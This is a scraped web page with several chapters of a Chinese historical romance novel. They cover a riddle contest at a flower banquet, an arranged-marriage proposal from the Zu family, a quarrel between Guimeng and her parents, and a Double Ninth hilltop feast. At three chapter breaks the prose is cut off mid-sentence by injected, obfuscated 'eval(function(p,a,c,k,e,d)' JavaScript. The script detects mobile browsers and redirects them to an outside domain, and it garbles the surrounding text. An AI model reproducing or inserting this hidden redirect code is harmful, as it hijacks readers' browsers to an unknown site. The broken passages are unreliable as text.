归梦心里瞬间有了答案,却不动声色。那厢很快有人猜了出来:“是个‘古’字!” 云蔷见自己出的题瞬间被猜到,心下不悦,只轻轻点了点头表示猜中了。 猜出答案的女娘很快又出了题目,诸女热火朝天地猜了起来。 邻桌的夫人们,以及附近在赏花的女娘们也被吸引了过来,饶有兴致地旁观。 顷刻之间,几个回合就过去了。 云蔷的性子极为要强,此时正专心致志地猜着字谜,桌上所有女娘也都沉浸其中,连夏侯敏都在观战。 归梦心中暗喜,这一招移祸江东,她只需看鹬蚌相争即可。 今日她本不想惹事,也不愿与云蔷相争,免得她更嫉恨自己。 但是那道蟹粉酥,让她对夏侯敏的厌恶增了许多,更看出了以她为首的诸女对自己的不友善。 夏侯敏和云蔷是一伙的。既然她们非要拉她入局,那她就绝不示弱,谁也别想讨得好去。所以她故意出言搅局,把吟诗作赋弄成了猜谜。 此时正在对峙的是张绮彤与云蔷。张绮彤家学渊源,自负才情,猜字谜这类文字游戏自然得心应手。云蔷与她算是势均力敌,两人有来有往对了好几个回合。 现在轮到张绮彤出题,她的谜面是“霸王自刎”,场上一众女娘均苦苦思索不得其解。云蔷也咬着下唇凝神思考。 张绮彤面有得色,催促道:“公主还未想到吗?”又环顾众女笑道:“可有人能猜出来吗?若是没有,小妹可承让了。” 归梦侧目一看,那线香已快燃尽,该出手了。她笑笑,开口道:“这题倒也没什么难的,不过是谜面有些惑人罢了。” 张绮彤轻嗤道:“听你的口气,是胸有成竹了?说来听听。” “霸王单名一个‘羽’字,自刎即‘卒’,加起来就是个‘翠’字。”归梦笑嘻嘻答道。 诸人听了解析均是恍然大悟,纷纷点头。张绮彤眼见快到手的彩头飞了,极是不悦,眼看线香即将燃尽,不由急躁起来,催促道:“算你蒙对了,你快出题吧。” 归梦站起身,一字一句清清楚楚地说:“正二三月风月无边。打一字。” 张绮彤听这谜题古怪,低头飞快思考,推想了几个答案都觉不对,不自觉摇摇头,她大声道:“你这谜面不对!” “怎个不对?” 张绮彤微一犹豫,强辩道:“许是你杜撰的,没准根本不通。” 归梦“哈”地笑了一声,揶揄道:“你猜不出就是不通吗?” “其他人也猜不出啊!” “既然都猜不出,那不就是我赢了?”归梦环视一桌的人,笑道:“张姊姊说大家都猜不出,果真吗?” 连云蔷在内的诸女均不言语。 倏忽间,那线香已然燃尽,悄无声息地熄灭了。 张绮彤冷笑道:“我们都猜不出也不代表你赢了。你倒说说,谜底到底是什么?” 归梦忽地认真注视着张绮彤,嘻嘻笑道:“谜底啊,就在姊姊你身上。” 27. 谢新恩 张绮彤一惊,低头看看自己,喃喃道:“我身上?难道是玉?不对不对,是珠?也不对啊……” 归梦见她胡乱猜着,忍不住揭晓:“好了,告诉你吧。正二三月,是什么季节?” “春季!”旁边云蔷和几个女娘异口同声道。 “不错。至于‘风月无边’则是‘風’和‘月’去了边框,那就是‘虫’和‘二’,二虫加上春字,那是什么字?” 张绮彤还未回答,旁边云蔷和几个女娘已脱口而出:“蠢!”说完均觉失言,然而想起刚才归梦说谜底就在张绮彤身上,又忍不住掩唇偷笑。 “你、你敢骂我蠢!”张绮彤又羞又恼,一张粉面涨得通红,欲要跟归梦理论,又顾及身份不愿丢了面子,当下恨恨地起身,拂袖离席而去。 夏侯敏素来周到,本想上前劝慰,奈何张绮彤头也不回地走了。 场面被归梦弄得有些冷了,她倒也不见怪,仍是含笑宣布归梦拔得头筹,命人将那“凤凰振羽”备好,待归梦走时一道带走。 “太子妃且慢。”归梦忽道:“这‘凤凰振羽’就不必了。此花名为凤凰,如此尊贵合该养在宫中才是。何况这花娇贵难养,若是赐予我,没准十天半月的就不成活了。岂不可惜?” 归梦这番话出乎所有人意料,她猜谜取胜确有讨巧的成分,难免引人不满。但是狠狠讽刺了傲慢的张绮彤一番又让云蔷和诸女心生快意。 现下又听她拒绝了名花的彩头,众人均是意外,只觉得归梦让人捉摸不透,似乎从前对她有着颇多误解。 夏侯敏尚未开口,归梦又抢着说道:“若是太子妃愿意,不如赏给我另一样东西?” “妹妹但说无妨,只要本宫有的。” 归梦目光闪烁,笑道:“授人以鱼不如授人以渔。太子妃可愿把蟹粉酥的做法教给我?如此我在家也能亲手做给父母尝尝。” 夏侯敏笑容和蔼似春风:“这有何难,难为归梦妹妹一番孝心。回头本宫将做法写下给你就是。” “哎,我笨得紧。听闻这道点心做法不易,还是太子妃亲自指点指点妹妹我。”归梦上前几步,轻轻牵住夏侯敏的衣袖,半撒娇亲昵地说道。 夏侯敏笑得有些勉强:“这……本宫平日琐事缠身……” 归梦目光灼灼:“哦?既是这样,难为太子妃还能钻研美食,制出这等好吃的点心,当真不易呢!” 她讥得夏侯敏无言以对,面色颇不自然。 目的已然达到了,也无谓和她多纠缠。 此时恰巧谢氏身边的桃枝来唤,说是谢氏在苑中一处小亭里,归梦便随着桃枝去寻母亲。 亭中,谢氏正和一白发老妇人在石凳上对坐饮茶,似乎特意在等候着归梦。 “母亲。”因着外人在旁,归梦礼节周全。 她抬头看清那老妇人的容貌,忍不住惊奇道:“是您……”话刚出口,那老妇人连忙使了个眼色,她急急住了口。 好在谢氏不曾察觉,只笑道:“梦儿,见过祖老太君。” 原来这老妇人竟是当初在琼花观被她救过,后又护着她不被王家兄妹欺负的祖老夫人。 归梦本就对这老人心有好感,当下一丝不苟地见了礼。 祖太君脸上的皱纹舒展开来,语气和蔼地朝她招招手:“孩子,来,走近些。” 归梦依言到了跟前。祖太君拉起她的手细细打量,笑着赞道:“果真好模样,看着就是实诚好心眼的姑娘。无怪乎老身第一次见就喜欢。” 谢氏听了这话里的漏洞,奇道:“怎么,太君以前见过小女吗?” 祖太君微笑着圆了过去:“没有。许是有缘,所以觉得熟悉亲近。”她轻轻拍了拍归梦的手,给了一个心照不宣的眼神。 归梦脸色微红,低头不语。 既然祖太君也不愿意说破,那是最好了。不然给母亲知道自己女扮男装出去惹了王家,必会得些训诫。 祖太君笑道:“方才我坐在近旁听见你说不爱那名花,只想学了制点心的法子,足见是个孝顺孩子。” 归梦不想自己故意为难夏侯敏的话竟给这老太君听了去,不觉有些汗颜,她讷讷道:“太君过奖了。其实,我是嫌那花过于娇气,纵然要了也是养不活,何必误了它们呢?” 祖太君听了归梦的回答却来了兴致:“哦?那这满园的菊花,你最喜欢哪一种呢?” 归梦不料这老夫人竟有兴趣探问她对花的喜好,她随手一指亭子外黄黄白白的一片花丛:“这帅旗菊就不错,模样简单可爱,单薄几片花瓣围拢成一个圆,没有那么繁密的花瓣,可是随处可见,极易生长。” 祖太君赞许地点点头:“说的好。”继而又转头向谢氏道:“老身就喜欢这孩子清泉般的性子,一眼见到底,没有那许多复杂心思。” 归梦从小到大还没有听过长辈这么真诚地夸奖她,而且是夸奖她的个性,心里不觉有些感动,更对这祖太君添了些好感,觉得像自家祖母一般亲近。 她出生前祖父母就已过世了,是以从小到大就没有享受过祖辈对自己的疼爱。哪知今日却在一个萍水相逢的老夫人身上体会到了这样的天伦之情。 “您是谬赞了。小女性子鲁莽,不懂规矩,也怪妾身自小把她当男孩养。”谢氏少不得谦虚几句。归梦却听得出这是母亲的真心话。 祖太君不以为意:“规矩也罢了。小小女子能闯出多大祸?便是骄纵些也无妨。左右有我们做长辈的兜底呢。”说完又拉着归梦坐下问了些日常喜好之类的。 说话间桃枝又续上了热茶,归梦来了半日都不曾饮茶,这会儿子又说了半天话早就口干舌燥了。 她端起茶盏一闻,只觉香气与众不同,转头看了眼桃枝。 桃枝解释道:“说是太子妃研制的花茶,用桑菊花冲泡的。” 归梦点点头,连饮几口,淡淡的清新花草香气中另有一丝丝甘甜。想是加了少许的蜂蜜来中和菊花的清苦。她边喝边想,看来这又是诗安的手笔,只是又被夏侯敏窃为己有。原先她与诗安常在一处时就听诗安说过用花瓣泡茶的法子。 祖太君见归梦出神,问道:“有什么不妥吗?我与你母亲方才也饮过了,都觉得不错呢。” 归梦摇摇头,忙道:“并无不妥,这茶清热疏肝,降火明目最好不过了。只是不适宜肠胃虚寒的人,若是上了年岁,要少用一些或是在茶中加些枸杞。” 谢氏笑着轻斥道:“这丫头,不知道从哪看了些医书,又来胡诌了!” 祖太君却很是欣赏,叹道:“如此灵巧聪颖,当真难得。” 归梦一时嘴快犯了行医的职业病,忍不住卖弄了下,不想又引来祖太君的一阵夸赞,夸得她快无地自容了。 “不知令爱可许了人家?”祖太君试探着问道。 归梦一口茶水呛在喉咙里,好不容易咽了下去。她早该想到的——母亲怎会平白无故地唤自己前来见人?那祖太君又为何拉着自己聊了许多私事? 一瞬间她脑海里混混沌沌的,只听见母亲答道:“还不曾议亲,毕竟还有一年多才及笄……听说祖将军回京师疗养,不知伤势如何了?” “已无大碍了。老身病急乱投医,也不知是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599185|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是那琼花观灵验了。” 谢氏素来信佛,闻言也不搭话,只是点点头道:“祖将军少年英才,必有神灵庇佑。” 祖太君从手腕上褪下一串碧澄澄的碧玺串珠递给归梦,笑道:“老身平日不喜多佩饰。今日来得匆忙,这串手串戴了多年,算是见面礼,拿去润色妆奁吧。” 归梦忙不迭地摇头推拒。 听祖太君旁敲侧击地问她的婚事,如今又要送她礼物,她再傻也该琢磨出味儿来了。这礼物万万收不得。 谢氏本也客气了两句,但见祖太君十分坚持,显然是真心喜欢归梦,便命归梦收下。 归梦心里百般不愿,话到嘴边,看到祖太君慈爱的眼神,却无法把坚决不要的话说出口了,又加上母亲示意她接下,只得勉强收了。 祖太君顺势将那碧玺串珠套在归梦的腕上,绿莹莹的串珠更衬得她肌肤如玉。 祖太君欣慰一笑:“我那孙儿常年在外,早已吃不惯这江南饮食。我知道你自小就在高平长大,想必也喜欢北地风味。我府中请了北边的厨子,你哪日得空便来做客。” 回去的路上归梦便一言不发。 她越想越觉得不妥,这串串珠直似一个烫手山芋。 谢氏瞧出她心绪不佳,也不言语。直到入了府下了马车到了房中,归梦冷着脸要告退,她才叫住了她。 “为娘知道你心里有气,也有疑问,说吧。”谢氏将近身的桃枝桂叶都遣退了。 归梦心中本来像火山要爆发一样有着一连串的疑问,现下反而平心静气了,她按捺着心火,把祖太君赠的那串碧玺珠从腕上褪下,往桌上一放。 “母亲可是打算与祖家联姻吗?” 谢氏缓缓坐下,手肘撑在桌上,一手支额,一手轻轻揉着太阳穴:“既然你已猜到了。不错,确有此意。” 归梦见母亲答得痛快,张了张嘴,不知反对的话该从何说起。 这事来得太过突然。 谢氏叹了口气:“你的婚事一直是我与你父亲最操心的。只要你这一生顺遂平安喜乐,我们也可放心了。” “母亲怎能确保我嫁入祖家就能一生顺遂?”归梦忍不住反驳。 谢氏看了女儿一眼,声音微微上扬:“你道那祖家是什么门户?那是一门忠烈的国之柱石,手上握有先皇御赐的丹书铁券!他家祖上是开国的功臣。原先是北方大族,南渡之后家族虽不兴旺,一脉单传,但是祖家人始终掌着一支精兵。那祖将军年少有为,一心戮力为国,这些年一直戍守幽州,前阵子受了重伤回京疗养,如今已大好了。他早到了成婚的年纪却因心忧国家迟迟不曾婚配,祖老太君就想趁着他在京师尽快物色个满意的孙媳,把婚事办了,是以今日会来这赏花宴。” 谢氏一口气把前因后果都交代清楚了。她看女儿呆呆听着只不说话,又道:“那祖太君向来不苟言笑,家教森严,也不知为何今日第一次见到你就如此看重……” 归梦心下明白祖太君必是因当日在琼花观自己救了她而对自己心生好感,但这些又无法对母亲解释,真个有苦说不出。 “女儿还小,还不想嫁人,想多侍奉父亲母亲几年。”归梦只能搬出这个理由。 谢氏伸手拿起桌上的那串碧玺串珠,放回归梦手中,柔声道:“无妨,先换了庚帖,等你及笄后再成婚也可。再说成了婚,也可常回家走动,反正是在这建康城里。” 归梦急了,边甩脱手边叫道:“难道父亲母亲如此仓促就要把女儿的终身订下吗?” 身后传来一把沉稳的男声:“梦儿,怎么和你母亲说话呢?” 28. 月光寒 岑熙外出还家,刚入房门就听到母女俩在谈话,见女儿高声说话忍不住出言提醒。 归梦红了眼眶,一脸委屈地给父亲行礼。 眼见女儿几欲落泪,岑熙不由地口气软了下来:“好了好了,为父都听见了。祖家往日与我们素无往来,但确是好门楣。我与你母亲一直想为你寻觅一门妥帖的婚事。祖太君对你青睐有加是意外之喜。若能成就这桩婚事,那是天赐的良缘。” 归梦的眼泪只在眼眶打转,她没想到父亲也如此赞成。 “好好好,合着你们就是看上祖家门楣好。我愿不愿意,都不重要是不是?” 谢氏也气恼了:“你这是什么话?若论门楣,谁能尊贵得过皇室?我们若有攀附之意,当初答允皇后把你嫁与太子就是了!又岂会到今天这个境地?处处为你考虑,就是希望能为你寻得一个好郎君,能此生护你周全,不必卷入纷争之中。因着拒婚太子,已然与你皇后姨母生了嫌隙。 世人惯会见风使舵,这士族之间又是拉帮结党。这些事原本不愿告诉你,你也未必能懂!岑氏与谢氏互为依托,王氏与桓氏也有所勾连,四大家族分为两派,其他小姓士族多依附王桓两家。因着立场原因,择选范围本就少之又少,何况还要挑个人品才学样貌俱佳的……” 岑熙接口道:“祖太君出身大家,祖家是世代将门,忠心为国却不参与党争。她的丈夫与儿子都死于战场。祖小将军是她一手带大的。那孩子我曾见过一面,少年时便勤奋刻苦,志存高远。这些年在边关抗击羯族,应当磨练得更加出色了。” 归梦撇撇嘴,很是不以为然。凭他再怎么优秀,难道还能越过明铮? 她心里先入为主,认定了除明铮外,其他男人都是凡夫俗子。 岑熙像是看穿了女儿的心思,温声道:“凭我们怎么说得天花乱坠你也不会信,这样吧,待你俩见一面就知道好歹了。” 归梦急道:“难道你们已经认定了?没有转圜的余地了吗?” 岑熙与谢氏对视一眼,沉默片刻,叹道:“梦儿,为父也不瞒你。候峻已经再三上书请求陛下为他指婚士族之女。这些年来,谢家的女儿大多早夭,王家也多是男儿,并无适婚女子。陛下沉迷方术不理朝政,已将此事全权交予太子处理。太子若是应允了此事,你就岌岌可危了。” 原来竟还是为了这件事! 归梦不假思索道:“若是太子哥哥来处理,他一定不会答应侯峻的。就算真的答应了,他也不会让我嫁侯峻!” 岑熙摇摇头:“谁也无法保证。你道今日太子妃为何要举办赏花宴?她是在替太子分忧呢!今日士族中云英未嫁的女儿几乎全都来了。将来要选谁,心里也能有个谱了。” 夏侯敏素来忌讳她曾是太子妃的第一人选……保不齐,她会想方设法地促成这件事。自己先前弃了太子妃的位置,现下若被赐婚给那逆徒侯峻,那才真是被人笑掉大牙! 归梦想到这,已经坐不住了:“我要去问问太子哥哥!” “问又有何用?你趁早把婚事定下我们才能安心。”谢氏忽又道:“我倒不明白了,你又没见过祖将军,怎知不会喜欢。莫非你已有意中人了?” 归梦被说中心事,磕磕巴巴道:“哪、哪有?”她心虚地否认,又搜肠刮肚编出些说辞:“女儿是在想,我们与祖家本无来往,为何祖太君见我第一次就有结亲之意?说不定那祖家小将军根本是重疾不愈,病怏怏的急需冲喜呢!您可不能就这么轻易地答应。” 谢氏被女儿这么一说,倒有些半信半疑了,她侧头看向丈夫。 岑熙沉吟道:“这……应该不会。听闻他这段时间都在府里养病。这样吧,改日为父着人去探望一下。” 归梦暂时松了口气,只要能把这事先拖延住,一切都可再想办法。 烛光昏黄,青玉案上静静摆放着一本薄薄的册子。 归梦小心地翻开它,这是诗安送给她的那本画册。 她一页页翻看着,既惊且喜。 当日她向诗安学画时,曾画过一幅明铮的画像,但因拙于笔力,那幅画上的人脸留白了。 太子与诗安均知那画上鲜衣怒马的少年是她心上的人。 说者无意,听者有心。 诗安居然画了这样一本画册送给她。这画上每一页都精细描画着不同的男子的肖像。 有的剑眉星目,英姿勃勃,有的长眉入鬓,气宇轩昂……惟妙惟肖,灵动传神,足见画师的画技之精妙。 归梦轻轻笑了,这想必又是太子哥哥与诗安的共同杰作了。一个口述容貌,一个下笔有神,这本画册,当是他二人闺房之乐的见证。 她看着,又感动于他们对她的用心。这册子上大多是她没见过的士族子弟,每一页都标上了序号,若是哪一个与她心中的人相似,立刻就能知道是哪家的男儿。 这样一本当朝未婚美男子花名册,任何女儿家看了恐怕都会芳心萌动吧。 她一直翻到了最后,也没有看到明铮的画像。倒是在第五页看到了王子野。 罢了!没有画像又怎样呢。诗安如此煞费功夫,她不会再去怀疑诗安是故意不想让她找到明铮。 她谨慎地将画册收在衣柜最下方,躺在榻上,闻着枕衾间清淡的杭白菊香气,从枕下摸出那个香囊来。 玄色的香囊配着鸦青色丝绦。 山有木兮木有枝,心悦君兮君不知。 这个香囊早已做好了,不知道何时才能送的出去呢? 归梦想到这忽然心念一动,猛地从榻上坐起来,唤道:“紫芽!” 进来的却是丹娥。“梦娘可是口渴了,我去沏茶。” 归梦问道:“紫芽呢?” 丹娥犹豫了下,回道:“晚饭后,紫芽姊姊就被主母叫去问话了,还没回来。” “问什么话?”归梦急急道。 丹娥摇摇头,委屈道:“我也不知道呀,来传话的桃枝姊姊好凶……” 归梦顾不得了,披上件外衣就朝父母所居的院落去。 丹娥急忙提了灯笼跟了上去:“梦娘,你慢着点。外面可冷呢……” 深秋,夜寒风大。归梦一踏出房门,寒意就兜头而来。夜色沉得像乌墨,她所住的嘉宁阁离父母亲所居的宜泽苑并不远,穿过一条回廊过一道月洞门便到了。 归梦快步走着,心里不断盘算。 紫芽是自己的贴身侍女,平日跟在自己身边最多,最是要好,说是亲如姊妹也不为过。在自己心里,紫芽与亲姊姊无异。 她机灵兼稳重,做事又妥帖,最难得的是对自己忠心耿耿,还总能包容自己的小脾气。 她相信紫芽会守口如瓶,就算真的说了什么,她也不怪她。 刚到宜泽苑角门前,便看到一个熟悉的窈窕身影从里出来。归梦从丹娥手里抢了灯赶上前:“紫芽?” 黑夜中灯笼散发着微弱柔和的光,紫芽眼眶微红,面上泪痕犹在,抬头见来人是归梦,愕然道:“梦娘怎来了?”说完连忙擦了擦眼角。 归梦拉住紫芽的手,才发觉自己已冷得手指冰凉。 “我听说母亲唤你去问话,特来寻你。怎样,母亲可为难你了?”归梦上下打量一番,紫芽衣裳头发都完好,不像受了罚。 紫芽摇摇头,她见归梦穿得单薄,问道:“梦娘怎地穿得这么少跑出来?”又看到归梦额上因焦急沁出的薄汗,嗔怪道:“这一头汗,仔细再着了风寒。”又转头看向丹娥:“你这妮子也不知道给姑娘披件披风。” 丹娥吐了吐舌头,笑道:“无怪乎梦娘这么关心紫芽姊姊,我们谁都不如紫芽姊姊贴心。”她知道紫芽刚哭过,有意逗乐她。 归梦一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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紫芽道:“听说,今年太子特地交代了允许百姓去覆舟山登高辟邪,君民同乐呢。” 归梦点点头:“那估摸着到了覆舟山,人会更多了。” 紫芽叹道:“太子最体恤百姓了,将来一定也是个好皇帝。”她知道归梦盘算着今日要找太子私下谈谈。 太子自然是仁慈贤良的,归梦对他一直充满信心。只是她也曾在父亲和明铮那里知道一些政事,这朝中暗潮汹涌,各种势力互相倾轧。太子哥哥肩头的担子太重……归梦很怕,他也会身不由己。 覆舟山就在建康城的东北方向,山顶有九日台供帝王登高祭礼。 归梦回建康三年,每年重阳都会随上面一道来此。 到了山脚下,各家在内监指引下依次停下马车,一时人头攒动。归梦被紫芽扶着下了车,远远望去,一片片竖起的明黄华盖后跟着一列列银鞍骏马,金镫玉环,真是灿然生辉。士族大家的座驾之奢华丝毫不逊于皇室。 这些富贵仪仗虽然珠光宝气流光溢彩,却被天然长就的山野花树衬得有些庸俗。 每逢秋日,覆舟山上满山的槭树叶艳红如血,乃是一大胜景。 天公不作美,并不因重九而放晴。日头被灰蒙蒙的几片云给遮住了,满山的红叶在寒风中似烈烈火焰,飘零几许,更显萧瑟。 紫芽给归梦披上一件银白翠纹织锦的羽缎斗篷,又拿了手炉给她握着。 “说来也怪,今年才重阳就这般冷了。前两年来,都是秋高气爽的。”紫芽小声嘀咕道。 岑熙与谢氏也下了马车。谢氏体弱,向来脚程慢,每次登高身边少不得一堆丫鬟仆妇随侍,岑熙也总是耐心陪伴。父母恩爱,归梦这个女儿倒显得多余了。 众人皆知太子腿有残疾。覆舟山并不高,且山势平缓,常人半个时辰也就能登顶了。而太子每次则要一个时辰才能到达山顶。群臣不敢掠先,只得放慢步伐随在后头。 归梦亦步亦趋地随在父母身旁,并不多说一句话。沿阶而上,走了约莫半个时辰,归梦的后背已出了些薄汗。她将略显累赘的披风解下,又接过紫芽递过来的水壶喝了几口。 稍作歇息间,忽然看见了一个熟悉的身影从后头赶了上来。 29. 秋露微 那人手拿竹杖,脚踩木屐,步履飞快地从她面前走了过去。 “表哥!”归梦唤道。 谢炅回头,还是那张丰神俊逸的面孔。 “哦,是表妹啊。对不住,方才没看见你。我来迟了,掉队太多,正急着去前面见太子。” 归梦调侃道:”今日重九你也敢迟到?” “嘿嘿,为兄昨夜贪杯,今早才想起来太子殿下命我写一篇关于重九的祝辞……以至于这般匆忙。”谢炅打了个哈欠,俊容略带倦色。 归梦见状忍俊不禁,她注意到谢炅脚上的木屐,疑惑道:“你穿这个登山,方便吗?” 提到脚上的木屐,谢炅顿时眉飞色舞,兴奋道:“当然,这可是为兄改良过的木屐。这下面装了可拆卸的铁齿,上山的时候去掉前齿,下山的时候去掉后齿,如此,保管登山如履平地。你要不要试试?为兄送你两双。” 归梦对原理听得不甚明白,但她向来不喜穿木屐,也对这般发明不感兴趣,当下敬谢不敏。 谢炅略感失望,只好踩着木屐,健步如飞地走向前头去追赶队伍了。 向来帝王出行都是戒备森严兴师动众,此次也不例外。虽然太子下令与民同乐,但是羽林卫依然沿途把守了上山的主干道,民众若要上山只能从崎岖小路而行。 至于九日台更是有重兵看管,平民百姓是不能靠近的。 待得浩浩荡荡的一行人全部到达九日台,已然是巳时三刻,快接近正午了。白日慢慢从云层里苏醒过来,隐隐有破云而出的迹象。 到了山顶,心胸都为之一开阔。湖山景色尽收眼底,别有风致。 虽说高处不胜寒,在山顶的九日台相比在山脚下冷了许多,但众人一路攀登上山,均不觉得冷。 紫芽给归梦理了理衣衫,又将事先准备好的,放了茱萸的绛囊拿出来缚在归梦手臂上。她边系边念念有词。 归梦奇道:“你嘴里叽里咕噜念什么呢?” 紫芽用手稳稳打了个结:“都说这茱萸能祛灾辟邪,我一边系一边说点吉利话嘛。” 归梦哑然失笑,她也依样画葫芦给紫芽绑好了绛囊。忙活完毕,看着众人都已插戴了茱萸。 过了片刻,皇帝登高台远望,众人随之行礼,内监念着祝祷之辞。 归梦站在人群中,她的前面是母亲,左右是几个公侯夫人携同幼女幼子。女眷前头则是文武百官。她无意识地随着内监的号令叩拜鞠躬行礼。恍惚间忽然一个念头冒了出来:“明铮现在在做什么呢?” 她大约已有半月未曾见到他了。 她分了心走神,眼风四下游走,猛然间,夹着人群的间隙,她看到了他。 她看到了明铮。他一身朱色官服,颀长挺拔,徇徇儒雅,淡然地躬身于百官之末。木秀于林,鹤立鸡群这两个词用来形容他再贴切不过。 归梦心中替他不平,明明他官居太子洗马,决不该站在百官之末。只因为他出身寒门…… 一眼望去,高台之上伴在太子身侧的是夏侯敏与夏侯权姐弟俩,那么志得意满。相形之下,明铮形单影只,沾染了几分寥落。 礼毕,众人落座。归梦十分忐忑,生怕明铮瞧见自己认出自己,不住地在人群中搜索明铮的身影,好提前闪避。 好在宴上人多。 紫芽见归梦东张西望,悄声问她在看什么。归梦附耳说了,紫芽很快找了个借口从宴上溜了出去。 九日台景致不错,借着正午的阳光,即便是幕天席地地野宴,也并不觉得冷。 归梦始终没看到明铮出现,一颗心渐渐放松下来,却又止不住去想他去哪了。 丝竹声起,野宴开始。 众人案上纷纷摆上沏好的滚烫的茶水,香气扑鼻。 谢氏端起茶盏,嗅着熟悉的宫中御用的“小龙团”的茶叶香气,不由称奇:“往年宴会上也就是一些酒水,这茶……莫非是取的山中湖水?” 皇后闻言,淡淡道:“湖水浊气重,怎能入口?妹妹难道喝不出这是宫中常备的龙泉水。” 谢氏有些尴尬,低头喝茶。 夏侯敏在旁听见,笑道:“无怪姨母发问,是臣媳命人从宫中带上山的龙泉水,倒也不费什么事。只是想着大家登山必然口渴,喝口热茶再进食也舒坦些。” 皇后笑着朝夏侯敏颔首,眼中满是赞许。 谢氏也夸赞:“太子妃心细周到。” 归梦喝了口茶,确是满口甘沁。可是,那“龙泉水”是从建康城外西南几百里的山麓中所得的,每日马不停蹄地送往宫中。泉水容易泼洒,沿途损耗不少。要准备供这么多人饮用的量,还要让宫人抬上山,再用小火炉起火烧水煮茶,另外还要准备如此多的茶盏,当真是劳民伤财。 皇家素来奢靡成风,归梦本已司空见惯。只是为了一时一刻的口腹之欲,如此折腾人……她想到这里,只觉得这茶难以下咽了。 紫芽悄悄走回归梦身边,在她耳边说了几句。 归梦讶然道:“当真?” 紫芽十分肯定地说:“我问了附近的羽林卫,他确是从小路向山下去了。” 明铮下山做什么呢? 归梦看了眼母亲,现下正是用膳的时间,且母亲方才受了皇后姨母的挤兑,此时心情必然不好,不是溜出去的好时机。 更何况……她一路上山肚子早就饿了。 还是等用过饭再找机会吧。 虽是露天野宴,菜式仍是极尽丰盛,野味有炙鹿肉,烧獐子,炙牛心……均是生火现烤了分切成薄片呈上的,烤得焦香流油,风味极佳。河鲜有鱼脯、螃蟹,秋末的菘菜最是脆爽甘甜,宴上也少不了。 其中最特别的自然是重九必吃的蓬饵和菊花酒。 所谓蓬饵,就是一道面食点心,在黍子面里放入大枣、栗子等,捏成形再一起蒸熟,入口松软香甜。 那蓬饵外头裹了箬叶,绿皮白瓤,再间以红色的枣子和金黄色的栗子肉点缀,看起来分外诱人。 归梦连吃了两个,又塞给紫芽一个让她充充饥。 宫中制的菊花酒喝起来也是十分顺滑爽口,清凉甘甜,吃了腊味野珍正好配它解腻下火。 紫芽在旁侍候,见归梦饮了又饮,虽是小盏,她也看得心惊胆战:“祖宗,你可少饮一些!若是醉了,晚些就要抬你下山了!”说着伸手按住酒壶。 归梦哪里肯依,一年中也就这个时候能喝到最好的菊花酒,不多喝几杯岂不辜负? 她攥住酒壶央道:“就再喝三盏。这菊花酒不过是米曲酿制,酒性不烈。” 归梦对自己的酒量有数,对自己的酒品也很有信心,纵然喝多了也不过是有些昏昏欲睡,决不至于乱了礼数。 但是酒品差劲的大有人在。 对面挨着皇帝与太子所在的那厢,也不知道一个宫女犯了什么错,惹得夏侯权大怒,将他面前满桌的杯盏都推翻,砸了个粉碎。 响亮清脆的碎裂声夹杂着宫女尖锐的哭泣,以及夏侯权暴怒的嘶吼大骂,立刻引起了全场的注意。 帝后都皱起了眉头。 不等太子示意,羞愧得面红耳赤的夏侯敏已经忙不迭地上前叫宫人把夏侯权搀下去。谁知宫人扶着夏侯权才走了两步,他就挣脱了开去,醉得人事不知,满口胡说。 归梦看热闹看得都忘了吃酒。 她注意到夏侯权脚步虚浮,双眼赤红,显是饮酒后又服食了五石散,产生了幻觉。 五石散吃了之后会精神亢奋。 夏侯权力大无比,两个内监根本拉不住他,拉扯挣扎之下他双腿一软晕头转向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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归梦直视着夏侯敏,正色道:“太子妃说错了,夏侯公子方才是对我的侍女无礼。我也已经告诫了他。这宴会上这么多双眼睛都看着呢,若是被有心人听去以讹传讹那就不好了。” 若是如她所说的传出去,岂不是毁了归梦的名声。用心不可谓不险恶。 “至于衣裳就不必了。小妹自己备下了衣裳,不敢僭越穿太子妃的衣裳。” 夏侯敏被噎得说不出话,只能勉强笑笑维持仪态:“是本宫口误了,妹妹莫怪。” 萧益不知何时也拄着手杖走了过来,对夏侯敏道:“你还是去看顾下权弟,免得他再失了礼数。” 夏侯敏被弟弟连累得面上无光,诺诺应声领着侍女去了。 萧益温声道:“梦儿你多见谅。其实权弟本性不坏,只是不务正业,往日我与他姊姊都劝过他莫再沾染五石散,他不肯听。今日更是服药过量,太不像话了。” 归梦笑笑表示并不在意,她想起夏侯权方才的神态,说道:“我看他倒像是有什么伤心事。” 萧益微一思索,点点头:“是了。上个月夏侯老将军过身了。他们祖孙感情一向不错,老将军最是宠爱他,重病垂危之时最放不下的就是他。” 难怪!夏侯老将军一死,夏侯家在军中的威信大减,军权旁落。夏侯氏的荣光就靠夏侯敏一人苦苦维系了。夏侯权心比天高,方才听他的醉话,像是还不曾绝了想娶她的心思。 归梦懒得去想夏侯权,眼下当务之急是侯峻。她四下张望一番,压低声音问出了心中的疑虑。 萧益俊眉微蹙,细细听了,语气坚定道:“你放心,我绝不会应允。只是此事还需部署,暂且不能多说。” 归梦一颗心暂时放了下来。 这时一名内监上前禀事,尖声细气道:“殿下,明大人派人来报,事情已经办妥。” 30. 霜华重 萧益面露喜色,挥挥手让内监下去了。 明大人?难道是明铮?不知他下山是替太子办什么事? 归梦想问开口询问但又找不到理由。 